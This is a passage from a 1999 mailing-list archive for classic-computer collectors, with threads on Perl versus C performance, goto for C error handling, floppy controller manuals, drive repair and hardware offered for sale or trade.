Jan 15 08:28:37 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:08 2005 Subject: Almost OT: How can that be? In-Reply-To: References: <3.0.1.32.19990115012137.00994100@mail.30below.com> Message-ID: <199901151328.NAA22836@nixpbe.pdb.sni.de> > > Mind you, it's not a whopping lot faster, but how it can be faster (by a > > few to five percent) is this: Larry Wall (who wrote Perl) optimized it in > > such a way that any ol' schmuck (like me) says "I could do this in C!!!" > > and does so, but not as efficiently as Larry did... therefore, code in Perl > > is faster than the reworked version in C. > This isn't always true. When I wrote a de-artifacter for images captured > from a video source, I wrote it first in PERL to prove to myself the > algorithm I conceived would work; I used PERL because I am more familiar > with it than any other language. > Later, I ported the program to C which netted me a dramatic performance > increase: 15 minute processing times dropped to around a minute, while > CPU usage during the processing dropped from 100% to about 30%. I guess you used a lot of low level calculations for your job - and the speed of PERL comes only thru when you need the offered high level funcionality. As more low level you need, as more C is interesting, since it offers nothing beside low level funcionality - and when it comes to over all functionality of course nothing can beat an Assembler (within a sophisticated programming environment :). Servus Hans -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Fri Jan 15 08:28:37 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:08 2005 Subject: Almost OT: How can that be? In-Reply-To: <199901160729.CAA24589@armigeron.com> References: <3.0.1.32.19990115012137.00994100@mail.30below.com> from "Roger Merchberger" at Jan 15, 99 01:21:37 am Message-ID: <199901151328.NAA22839@nixpbe.pdb.sni.de> > Perl, being a bit more abstract than C, does have some better chances at > optimization, and I wouldn't hate it so much if Larry Wall hadn't decided to > put in the worse aspects of BASIC, /bin/sh, awk, grep and sendmail.cf, give > it a rather ambiguous grammar and unleashed it on the Great Undisciplined > Programmers (me? Bitter? Naaaaaah ... ) :))))) > > Oh, and when I called it an "interpreter," that's a misnomer. It may look, > > walk, talk, and smell like an interpreter, but it's actually a JIT compiler > > in disguise... that's why it's so darned fast in comparison to an interpreter. > Actually, it compiles to an internal byte code that can be interpreted > faster than parsing text, much like Forth or even Java. to be (more) OT again: just remember UCSD p-code - BTW: Hans, I searched a bit, but couldn't find any picture, or any description of a Pascal Microengine labeled/called Pascaline (I even found 3 different issues of the Microengine manual, and a (seems to be complete set or errata sheets). Gruss H. -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Fri Jan 15 08:28:37 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:08 2005 Subject: OT: How can that be? In-Reply-To: <199901160455.XAA23660@armigeron.com> References: <3.0.1.32.19990115000808.0093e480@mail.30below.com> from "Roger Merchberger" at Jan 15, 99 00:08:08 am Message-ID: <199901151328.NAA22833@nixpbe.pdb.sni.de> > > >For-Next is interpreted when executed. It is at that point that the > > >relevant machine language instructions are generated and executed. Machine > > >language is low-level, C is slightly higher, BASIC is definitely > > >high-level > > And Perl is some of most of these - at times faster than C, yet sometimes > > simpler than Basic, almost as powerful as APL, and runs on more machines > > than Java! (of course, APL runs on more machines than Java...) > Now, how can Perl be faster than C when it's written in C? Simple - lets assume you want to keep a list of key/value pairs. you could do it simple in an unordered list of strings, add new keys to the end and use linear search, or more sophisticated, sort this list insert new key at the aprobiate place and search by halving the index - or, againe better, use a B-tree structure and shorten insert time (while adding maybe search time). Now, honest, if this list you need is only a tool for some temporary data, would you build up anything else than the linear list ? No, since you want to ro the actual task (like the picture ting) instead, so your programm will be slower when searching for a key than the same algorythm written in PERL, where the more sophisticated funcion is alread build in and optimized. Gruss H. (I like PERL, but I never did any single programm with more than 150 lines (two maybe 3 screen pages), including comments and beautifying empty lines - if I need more, I prefer a real language, like Assembler :) -- Ich denke, also bin ich, also gut HRK From ckaiser at oa.ptloma.edu Fri Jan 15 08:49:51 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:08 2005 Subject: OT? On Programming (was: Re: Computers for children) In-Reply-To: <199901160807.DAA24863@armigeron.com> from "Sean 'Captain Napalm' Conner" at Jan 16, 99 03:05:59 am Message-ID: <199901151449.GAA14794@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 1216 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990115/11e7ea61/attachment.ksh From ckaiser at oa.ptloma.edu Fri Jan 15 09:16:53 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:08 2005 Subject: Computers for children (soldering) In-Reply-To: <199901150449.VAA32432@calico.litterbox.com> from "Jim Strickland" at Jan 14, 99 09:49:47 pm Message-ID: <199901151516.HAA09478@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 825 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990115/6c4093d4/attachment.ksh From jfoust at threedee.com Fri Jan 15 10:00:07 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:40:08 2005 Subject: Computers for children In-Reply-To: References: <3.0.16.19990114132351.4ef7e97a@ricochet.net> Message-ID: <3.0.5.32.19990115100007.00fe93c0@pc> At 11:37 PM 1/14/99 -0800, Sam Ismail wrote: > >Remember, C has a goto statement, although I don't think in my nearly 10 >years of C programming I've ever used it, although on certain rare >occasions it seemed the easy way out to a sticky coding problem. > [...] but C really suffers from a lack of >a general error trapping mechanism that one can invoke to break out of >loops as required. Sometimes I think goto's are the answer but I can >never find an appropriate way to implement it. I use "goto" in C on a regular and consistent basis for error exceptions: USHORT firstFunction( void ) { USHORT lerr; if ((lerr=secondFunction()) != TE_NOERROR) { goto out; } out: return lerr; } The benefit is that all functions propogate an error code, any function can fail, and all functions clean up after themselves after their "out" label. - John From jfoust at threedee.com Fri Jan 15 10:07:44 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:40:08 2005 Subject: hello In-Reply-To: <199901142352.RAA06443@thufir.cs.umn.edu> Message-ID: <3.0.5.32.19990115100744.00f84a30@pc> At 05:52 PM 1/14/99 -0600, Lawrence LeMay wrote: > >I have several Terak computers in need of serious work. >If anyone has any technical information on the Terak floppy controller, or >on the shugart 800 floppy drives in the Terak, i'd like to have a copy. I've got the Terak floppy controller manuals. From my web page at : 8510/a Graphics Computer System, Variable Density Disk Drive Controller, QB-BX Drive Controller-Handler Comparison & Disk Formatting Procedures, 50-0018-001 Rev. C, 1980, 31+4 pgs. 8510/a Graphics Computer System, Variable Density Disk Drive Controller, Installation Guide, 50-0017-001 Rev. A, 1980, 15+8 pgs. 8510/a Graphics Computer System, Variable Density Disk Drive Controller, Reference Guide, 50-0010-001 Rev. E, 1980, 42+4 pgs. 8257/8257-5 Programmable DMA Controller, Intel data sheet. 8272A Single/Double Density Floppy Disk Controller, Intel data sheet. Hmm, that's a lot of copying. The Shugart 80x manual was online at although I can't seem to reach it right now. - John From healyzh at aracnet.com Fri Jan 15 10:21:49 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:08 2005 Subject: Powerbook Duo Help In-Reply-To: from "Doug Yowza" at Jan 15, 99 04:31:26 am Message-ID: <199901151621.IAA32614@shell2.aracnet.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 1436 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990115/67195f8d/attachment.ksh From rigdonj at intellistar.net Fri Jan 15 11:10:07 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:08 2005 Subject: VAX-11 book Message-ID: <3.0.1.16.19990115111007.2fa70942@intellistar.net> I have hard back copy of VAX-11 Assembly Language Programming written by Sara Baase and published by Prentice Hall. If anyone wants it, E-mail me directly. Joe From rigdonj at intellistar.net Fri Jan 15 12:48:09 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:08 2005 Subject: Dapple computer Message-ID: <3.0.1.16.19990115124809.46b761da@intellistar.net> Hi, I was digging thru the junk ^H^H^H^H er, ah, treasures at my favorite scrap dealers a few days ago and found what looked like an Apple IIe except it was marked "Dapple (something) IIe". I've never heard of a Dapple computer before. Is there anyone that collects Apple clones and wants it? Joe From emu at ecubics.com Fri Jan 15 10:44:50 1999 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:40:08 2005 Subject: micropolis 1355 Message-ID: <19990115164533.AAA3024@p2350> Hi, ---------- > From: Tony Duell > To: Discussion re-collecting of classic computers > Subject: Re: micropolis 1355 > Date: Thursday, January 14, 1999 4:50 PM > > > > > Hi all, > > > > i got here a micropolis 1355 drive with my pdp, but the disc only spins up, > > and after few seconds down again. It happens again and again forever. like > > a jojo :-(( > > the power supply is ok. > > any ideas ? > > Yes... This is the most common failure with the 1300 series. The head > sticks to the rubber bumber inside the HDA and can't move to find the > home track. Thus the drive spins down. > > The other cure is to open up the HDA and free the head manually. If you > do this in reasonably clean conditions (not necessarily a proper clean > room) then you should be OK. I've done that, but now it spins up, and after appr. 1 minute spins down again and spins up, .... Dead ? thanks, emanuel From lemay at cs.umn.edu Fri Jan 15 10:47:27 1999 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:40:08 2005 Subject: power supply for Zenith supersport sx laptop Message-ID: <199901151647.KAA21584@thorin.cs.umn.edu> I have this Zenith supersport sx laptop (386, black and white screen i think) but no power supply.. The label on teh bottom of the unit states that it wants 16.5 volts, 2 amps... The power connector is one of those small round plugs, and it has a DC noted next to the plug. Does anyone know where I could find a compatible power supply? -Lawrence LeMay lemay@cs.umn.edu From Marion.Bates at Dartmouth.EDU Fri Jan 15 10:49:17 1999 From: Marion.Bates at Dartmouth.EDU (Marion Bates) Date: Sun Feb 27 18:40:08 2005 Subject: Dapple computer Message-ID: <13115063@dasher.Dartmouth.EDU> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 269 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990115/f16cba76/attachment.bin From marvin at rain.org Fri Jan 15 11:04:50 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:08 2005 Subject: Apple Calmpute References: Message-ID: <369F7532.598C4ED6@rain.org> Doug Yowza wrote: > > ObCC: I seem to recall somebody producing a biofeedback device for the > Apple ][ in the early 80's that would let you control some computerstuff > via a galvanic sensor. I think you are talking about the Calmpute from HesWare. It is advertised as a Biofeedback Stress Reduction Program and has a picture lf Leonard Nimoy on the cover. Basically, the unit looks like a mouse except instead of buttons, it has two metalic plates where your fingers rest against. The software is for teh Apple II+ and Apple //e. From Philip.Belben at pgen.com Fri Jan 15 08:43:59 1999 From: Philip.Belben at pgen.com (Philip.Belben@pgen.com) Date: Sun Feb 27 18:40:08 2005 Subject: Almost OT: How can that be? Message-ID: <802566FA.005628FC.00@WESTD90.pgen.co.uk> >> Oh, and when I called it an "interpreter," that's a misnomer. It may look, >> walk, talk, and smell like an interpreter, but it's actually a JIT compiler >> in disguise... that's why it's so darned fast in comparison to an interpreter. > > Actually, it compiles to an internal byte code that can be interpreted > faster than parsing text, much like Forth or even Java. In my experience, very few interpreters actually parse text in real time. Every BASIC I've used AFAIK reduces keywords to byte codes at the time of entry, and some actually encode numbers etc. at the same time. Notable exception: I think REXX parses text in real time, or did when I used it under VM/CMS. Philip. From Philip.Belben at pgen.com Fri Jan 15 08:49:21 1999 From: Philip.Belben at pgen.com (Philip.Belben@pgen.com) Date: Sun Feb 27 18:40:08 2005 Subject: Classic Home Console Computers to Trade/Sell/Buy Message-ID: <802566FA.005670D2.00@WESTD90.pgen.co.uk> > Hi Everyone, > > I'm new to this list. I've been collecting classic home console computers > for about two years now and have some items to trade and some things I'm > looking for (either trade or buy). You can check out my collection on my > website at http://www.markrandall.com. Hi Mark. Afraid I haven't time to look at your website just now, but your list looks impressive. Since you're new here, I feel I should tell you: one thing you must remember on this list, if you are offering anything for sale or trade, YOU MUST SAY WHERE YOU ARE. Looking at your list of your collection and your list of wanted stuff suggests you are not in the UK (as I am), but probably somewhere in the US. But more than that I can't tell, and it may be important! Philip. From rigdonj at intellistar.net Fri Jan 15 13:14:27 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:08 2005 Subject: Dapple computer In-Reply-To: <13115063@dasher.Dartmouth.EDU> Message-ID: <3.0.1.16.19990115131427.2e37f388@intellistar.net> Hi, Ignore my last message. I'm guessing on the price but probably $20. I'm in Orlando so shipping wouldn't be much. Joe At 11:49 AM 1/15/99 EST, you wrote: >--- You wrote: >Is there anyone that collects Apple clones and wants it? >--- end of quote --- > >I'm interested, but only up to a point, price-wise. Is there any way you could estimate the cost of the machine and shipping to Miami, FL? > >Thank you very much! > >-- MB From spc at armigeron.com Sat Jan 16 11:39:19 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:40:08 2005 Subject: OT: How can that be? In-Reply-To: <369ED607.5D39D01D@cnct.com> from "Ward Donald Griffiths III" at Jan 15, 99 00:45:43 am Message-ID: <199901161740.MAA28793@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 1862 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990116/77199c70/attachment.ksh From Hans.Franke at mch20.sbs.de Fri Jan 15 12:52:34 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:08 2005 Subject: Fanware In-Reply-To: <000001be3f63$53b90860$604ffea9@gaz> Message-ID: <199901151752.RAA03517@nixpbe.pdb.sni.de> > >Hey, don't forget that $100 Atari Belt buckle (only one at > >that price!!!) :-) > Perhaps you would be interested in a once in a lifetime offer of an Amiga > CD32 umbrella (never used), or a chocolate tea pot, or... I may offer a basket of Commodore candys - in original case, never used. :))) BTW: Are there some people collecting merchandise/advertizeing gimicks of the computer age ? Gruss H. -- Ich denke, also bin ich, also gut HRK From jimw at agora.rdrop.com Fri Jan 15 12:03:45 1999 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:40:09 2005 Subject: Fanware In-Reply-To: <199901151752.RAA03517@nixpbe.pdb.sni.de> Message-ID: On Fri, 15 Jan 1999, Hans Franke wrote: > BTW: Are there some people collecting merchandise/advertizeing > gimicks of the computer age ? Well... somewhat inadvertantly. Packrat that I am I grabbed as many of the posters and advertising materials that came by the stores in the early days. Don't have an exact count, but it is in the multiple hundreds. Actually brought two mailing tubes (stuffed) full of them to the last VCF, but never got time to pull them out. Maybe this year (if I EVER get organized) I'll get some of them in frames and bring along. ...of course, I've also been saying for probably two years that I was going to get pictures of at least some of them and get them on the web site... (sigh) (most are too big for my scanner!) Coming soon (?) - Pictures from the 8th WCCF (March 1983)! (and earlier as I find/get time to scan the pix/slides/etc...) -jim --- jimw@agora.rdrop.com The Computer Garage - http://www.rdrop.com/~jimw Computer Garage Fax - (503) 646-0174 From Hans.Franke at mch20.sbs.de Fri Jan 15 13:14:56 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:09 2005 Subject: Fanware In-Reply-To: References: <199901151752.RAA03517@nixpbe.pdb.sni.de> Message-ID: <199901151814.SAA04431@nixpbe.pdb.sni.de> > > BTW: Are there some people collecting merchandise/advertizeing > > gimicks of the computer age ? > Well... somewhat inadvertantly. Packrat that I am I grabbed as many of > the posters and advertising materials that came by the stores in the early > days. Don't have an exact count, but it is in the multiple hundreds. Well, not exactly what I asked (but glad about every saved flyer). My question was more about all the other stuff - T-Shirts, umbrellas, tie needls, watches, keyholder, cups, ..... > Actually brought two mailing tubes (stuffed) full of them to the last VCF, > but never got time to pull them out. Maybe this year (if I EVER get > organized) I'll get some of them in frames and bring along. Next time I will first peek into all of your stuff before the end of the VCF :) > ...of course, I've also been saying for probably two years that I was > going to get pictures of at least some of them and get them on the web > site... (sigh) (most are too big for my scanner!) > Coming soon (?) - Pictures from the 8th WCCF (March 1983)! (and earlier > as I find/get time to scan the pix/slides/etc...) Apropos Pictures, is there any chance that you will finish the subtitles for the VCF 2.0 pictures ? Gruss H. -- Der Kopf ist auch nur ein Auswuchs wie der kleine Zeh. H.Achternbusch From jfoust at threedee.com Fri Jan 15 12:11:40 1999 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 18:40:09 2005 Subject: Fanware In-Reply-To: <199901151752.RAA03517@nixpbe.pdb.sni.de> References: <000001be3f63$53b90860$604ffea9@gaz> Message-ID: <3.0.5.32.19990115121140.00c94b80@pc> At 06:53 PM 1/15/99 +1, Hans Franke wrote: > >> Perhaps you would be interested in a once in a lifetime offer of an Amiga >> CD32 umbrella (never used), or a chocolate tea pot, or... > >I may offer a basket of Commodore candys - in original case, never used. >BTW: Are there some people collecting merchandise/advertizeing >gimicks of the computer age ? I've got a stash of original "RoboCity" Amiga 1000 launch posters. Maybe it's time to check out eBay. - John From Hans.Franke at mch20.sbs.de Fri Jan 15 13:33:18 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:09 2005 Subject: That does not compute In-Reply-To: References: <000901be352f$a13e43e0$a4f438cb@a.davie> Message-ID: <199901151833.SAA05066@nixpbe.pdb.sni.de> > > This custom seemed to disappear in the mid 80s. Sometimes I get to thinking > > of the things that have changed, and when and why. Another example that > > comes to mind - I quite clearly remember about 10 years ago thinking how > > useless the tilde (~) was on a keyboard. Of course, now we are all > > net-bound it's used all the time. I wonder if there are other examples of > > ins/outs that you oldies remember and would care to share. Things that were > > ubiquitous and no longer with us. > Well, certainly the '@' symbol was entirely useless until internet e-mail. @ was (is) beside $ and # the only character to be used at the begin of a name (macro, label, module, SNA station, etc.) in some (old) environments, since they are handled as letters. > And how many people actually use function keys any more in the age of the > GUI and mouse? ALT-F4 -> the only usefull anwer to Windows :) Gruss H. -- Ich denke, also bin ich, also gut HRK From jimw at agora.rdrop.com Fri Jan 15 12:35:41 1999 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:40:09 2005 Subject: Fanware In-Reply-To: <199901151814.SAA04431@nixpbe.pdb.sni.de> Message-ID: On Fri, 15 Jan 1999, Hans Franke wrote: > Well, not exactly what I asked (but glad about every saved flyer). > My question was more about all the other stuff - T-Shirts, umbrellas, > tie needls, watches, keyholder, cups, ..... Well, ok... that too. Did you catch my second talk at VCF 2.0? The somewhat odd (jingling) lab coat adorned with about 50 computer related advertising/logo/etc buttons and pins picked up over the years? > > Actually brought two mailing tubes (stuffed) full of them to the last VCF, > > but never got time to pull them out. Maybe this year (if I EVER get > > organized) I'll get some of them in frames and bring along. > > Next time I will first peek into all of your stuff before the > end of the VCF :) Maybe that should be a session all its own... 'What is everybody carrying around that they have not shown off yet?' > > Apropos Pictures, is there any chance that you will finish the > subtitles for the VCF 2.0 pictures ? > Sigh... yet another in the ever lengthening list of things I'm behind on... B^} -jim --- jimw@agora.rdrop.com The Computer Garage - http://www.rdrop.com/~jimw Computer Garage Fax - (503) 646-0174 From Marty at itgonline.com Fri Jan 15 12:38:16 1999 From: Marty at itgonline.com (Marty) Date: Sun Feb 27 18:40:09 2005 Subject: Classic Home Console Computers to Trade/Sell/Buy Message-ID: <1999Jan15.132933.1767.181240@smtp.itgonline.com> Hi Mark, If the Mac 128 is still available, I'm interested. I'm located in the Washington, D.C. metro area. I have a number of appliance (home computers) plus some Apples (II+, IIe's) available. I will post a list to the members of Clasiccmp of what I'm excessing sometime this month. marty@itgonline.com ______________________________ Reply Separator _________________________________ Subject: Classic Home Console Computers to Trade/Sell/Buy Author: classiccmp@u.washington.edu at internet Date: 1/15/99 7:05 AM Hi Everyone, I'm new to this list. I've been collecting classic home console computers for about two years now and have some items to trade and some things I'm looking for (either trade or buy). You can check out my collection on my website at http://www.markrandall.com. Regards, Mark Randall Play Incorporated ====================== Classic Computers To Trade: ====================== Apple IIGS (full system with monitor/printer) Compaq Portable (original) IBM PC Jr. KayPro II KayPro IV Macintosh 128 (original) Radio Shack Color Computer Texas Instruments 99/4A ================================= Computers I'm Looking to Buy / Trade For: (Console Home Computers Only) ================================= Acorn BBC Micro Acorn Electron Amstrad CPC 6128 Amstrad CPC 664 Atari 65XE Atari 520ST Camputers Lynx Canon V-20 MSX Dragon 32 EACA Colour Genie EACA Video Genie 3003 (AKA System-80 / PMC 80) Exidy Sorcerer Franklin ACE 1200 Interact Model One Jupiter ACE Mattel Aquarius Memotek MTX 500/512 (or RS128) Oric 1 Oric Atmos Panasonic JR-200U Personal Micro Computer PMC 81 Phillips Videopac Salora Fellow Sharp MZ800 (MZ821) Sinclair QL Sinclair Spectrum Sinclair Spectrum + Sinclair Spectrum +2 / +2A / +3 SpectraVideo SVI 328 Sony HitBit Sord M5 Timex Sinclair 1500 Timex Sinclair 2068 Toshiba HX-10 Toshiba T100 Video Technology Laser Compact XT Video Technology VZ200 =============================== Computers Currently In My Collection (Pictures at http://www.markrandall.com) =============================== Amiga 500 Amiga 600 Amiga 1200 Amstrad 464 CPC Atari 400 Atari 800 Atari 600XL Atari 800XL Atari 1200XL Atari 130XE Atari 1040 ST Apple II Apple IIc Commodore 16 Commodore Plus/4 Commodore 64 Commodore 128 Commodore VIC 20 Laser 128 Radio Shack Color Computer Radio Shack Micro Color Computer (MC-10) Radio Shack Color Computer II (low rise keyboard) Radio Shack Color Computer II (high rise keyboard) Radio Shack Color Computer III Radio Shack Model 1 Sinclair ZX80 Sinclair ZX81 Tano Dragon 64 Texas Instruments 99/4A (gray/silver) Texas Instruments 99/4A (beige) Timex Sinclair 1000 ------ Message Header Follows ------ Received: from lists5.u.washington.edu by smtp.itgonline.com (PostalUnion/SMTP(tm) v2.1.9i(b5) for Windows NT(tm)) id AA-1999Jan15.070554.1767.92508; Fri, 15 Jan 1999 07:05:55 -0500 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id EAA10867; Fri, 15 Jan 1999 04:00:56 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id EAA2 3376 for ; Fri, 15 Jan 1999 04:00:47 -0800 Received: from mail.calweb.com (mail.calweb.com [208.131.56.12]) by mxu3.u.washington.edu (8.9.2+UW99.01/8.9.2+UW99.01) with ESMTP id EAA06 415 for ; Fri, 15 Jan 1999 04:00:46 -0800 (PST) Received: by mail.calweb.com (8.8.6/8.8.6) with SMTP id EAA00119 for ; Fri, 15 Jan 1999 04:00:45 -0800 (PST) Message-Id: <000d01be407f$37c600a0$ef5dd3cf@markr.calweb.com> Date: Fri, 15 Jan 1999 04:04:35 -0800 Reply-To: classiccmp@u.washington.edu Sender: CLASSICCMP-owner@u.washington.edu Precedence: bulk From: "Mark Randall" To: "Discussion re-collecting of classic computers" Subject: Classic Home Console Computers to Trade/Sell/Buy MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-To: X-SMTP: helo markr from markr@play.com server @sac13-239.calweb.com ip 207.211.93.239 user=markr X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN From Hans.Franke at mch20.sbs.de Fri Jan 15 13:50:16 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:09 2005 Subject: Fanware In-Reply-To: References: <199901151814.SAA04431@nixpbe.pdb.sni.de> Message-ID: <199901151850.SAA05579@nixpbe.pdb.sni.de> > > Well, not exactly what I asked (but glad about every saved flyer). > > My question was more about all the other stuff - T-Shirts, umbrellas, > > tie needls, watches, keyholder, cups, ..... > Well, ok... that too. Did you catch my second talk at VCF 2.0? The > somewhat odd (jingling) lab coat adorned with about 50 computer related > advertising/logo/etc buttons and pins picked up over the years? No, Any Picture on your website ? > > > Actually brought two mailing tubes (stuffed) full of them to the last VCF, > > > but never got time to pull them out. Maybe this year (if I EVER get > > > organized) I'll get some of them in frames and bring along. > > Next time I will first peek into all of your stuff before the > > end of the VCF :) > Maybe that should be a session all its own... 'What is everybody carrying > around that they have not shown off yet?' Great idea :) Servus Hans -- Ich denke, also bin ich, also gut HRK From meo at netads.com Fri Jan 15 13:03:13 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:09 2005 Subject: Computers for children In-Reply-To: <3.0.5.32.19990115100007.00fe93c0@pc> from "John Foust" at Jan 15, 99 10:00:07 am Message-ID: <199901151903.NAA17016@wildride.netads.com> John Foust said... | |I use "goto" in C on a regular and consistent basis for error exceptions: ... |The benefit is that all functions propogate an error code, any |function can fail, and all functions clean up after themselves |after their "out" label. Bless you! [1] Extremism is usually wrong. Whether it's ``Goto is evil!'' or ``Every language needs a Goto!'' Hopefully everyone has read the brilliant esay by Dijkstra, ``Go To Statement Considered harmful.'' Equally important, however, IMO, are the pair of papers presented at the 25ty ACM National Conference in October 1972: A Case Against the GOTO (W. A. Wulf) A Case for the GOTO (Martin Hopkins) All of these are covered in Yourdon's _Classincs in Software Engineering_. This, and _Writings of the Revolution_ (also Yourdon), both by Yourdon Press, should be in every software developer's or hacker's library. (Yes, hackers will get something out of these papers as well!) Being out of print, they are probably worth a fortune on eBay, but I'm hold on to mine. 8^) -Miles [1] Yes, I realize nobody sneezed. From meo at netads.com Fri Jan 15 13:04:26 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:09 2005 Subject: Fanware In-Reply-To: <3.0.5.32.19990115121140.00c94b80@pc> from "John Foust" at Jan 15, 99 12:11:40 pm Message-ID: <199901151904.NAA17049@wildride.netads.com> John Foust said... | |I've got a stash of original "RoboCity" Amiga 1000 launch posters. Or just pick a price and offer them here? 8^P (RoboCity was so well done, we used to just sit and stare at it for 10 minutes at a time.) -Miles From Hans.Franke at mch20.sbs.de Fri Jan 15 14:01:44 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:09 2005 Subject: Star Wars (was: Stupid CP/M question) In-Reply-To: <199901091947.AA15133@world.std.com> Message-ID: <199901151901.TAA05904@nixpbe.pdb.sni.de> > I don't think so. They used masks and other film tricks. someone else can > comment. More than 90% of the movie where done by (at this time) standard tricks - the remaining wher _new_computer_made_ tricks. Not as we name it now, but rather computer controlled camera movement to give these (at this time) super realistic flight scenes. Computer tricks as we now know it where not used. > Though the -11 had graphics. It was more that any graphics were not > supported by the OS and the hardware to do that was likely as big as the > machine itself and not anywhere near real time. Graphics need lots of > ram and lots of disk neither of which where common then nor cheap. Althrough it might still have been PDP-11s that created some of the amazing computer displays (back than), shown in the movie, like the flight computers, and targeting system of th X-wings. Gruss H. BTW: does anybody know the date when the new Star Wars will premiere ? -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Fri Jan 15 14:02:41 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:09 2005 Subject: Stupid CP/M question In-Reply-To: References: <199901102029.OAA30767@wildride.netads.com> Message-ID: <199901151902.TAA05983@nixpbe.pdb.sni.de> > > |DOS used to be a generic as well for "disk operating system". > > Technically, it still is generic. > OK, so now that everybody agrees on the meaning of DOS, what's the answer > to the original question: > When was the first DOS released? > The first hard disk was made by IBM around 1956, and I assume it didn't > take them much longer to write a DOS for it, but I don't know when they > did or what it was called. Didn't they already use the term DOS ? Gruss H. -- Ich denke, also bin ich, also gut HRK From cfandt at netsync.net Fri Jan 15 13:04:48 1999 From: cfandt at netsync.net (Christian Fandt) Date: Sun Feb 27 18:40:09 2005 Subject: VAX-11 book In-Reply-To: <3.0.1.16.19990115111007.2fa70942@intellistar.net> Message-ID: <4.1.19990115140055.00b01220@206.231.8.2> At 11:10 AM 1/15/99 +0000, you wrote: > I have hard back copy of VAX-11 Assembly Language Programming written by >Sara Baase and published by Prentice Hall. If anyone wants it, E-mail me >directly. Hi Joe, I could use the VAX-11 Assy book as I've got an 11/730 I want to get up and running and actually hack. The book could help with my MVII too, I suppose. Thanks for the offer Joe, Regards, Chris -- -- ======================================================= Christian R. Fandt, Electronic/Electrical Historian 31 Houston Avenue Phone: +716-488-1722 -Home Jamestown, New York email: cfandt@netsync.net 14701-2627 USA Member of Antique Wireless Association URL: http://www.ggw.org/freenet/a/awa/ From red at bears.org Fri Jan 15 13:10:35 1999 From: red at bears.org (R. Stricklin (kjaeros)) Date: Sun Feb 27 18:40:09 2005 Subject: Almost OT: How can that be? In-Reply-To: <802566FA.005628FC.00@WESTD90.pgen.co.uk> Message-ID: On Fri, 15 Jan 1999 Philip.Belben@pgen.com wrote: > Notable exception: I think REXX parses text in real time, or did when I > used it under VM/CMS. That could be. Under OS/2, though, a REXX program would be tokenized and then stored as an HPFS 'extended attribute' to the text source. ok r. From spc at armigeron.com Sat Jan 16 13:07:52 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:40:09 2005 Subject: OT: How can that be? In-Reply-To: <199901151328.NAA22833@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 15, 99 02:29:37 pm Message-ID: <199901161909.OAA29281@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 1849 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990116/581b706f/attachment.ksh From Hans.Franke at mch20.sbs.de Fri Jan 15 14:24:23 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:09 2005 Subject: MS-DOS FAT file system ripped off? (from WHOM?) In-Reply-To: <199901131454.GAA16500@oa.ptloma.edu> References: <19990113065559.24398.qmail@brouhaha.com> from "Eric Smith" at Jan 13, 99 06:55:59 am Message-ID: <199901151924.TAA06589@nixpbe.pdb.sni.de> > When a drive seek fails, the drive first tries to read the 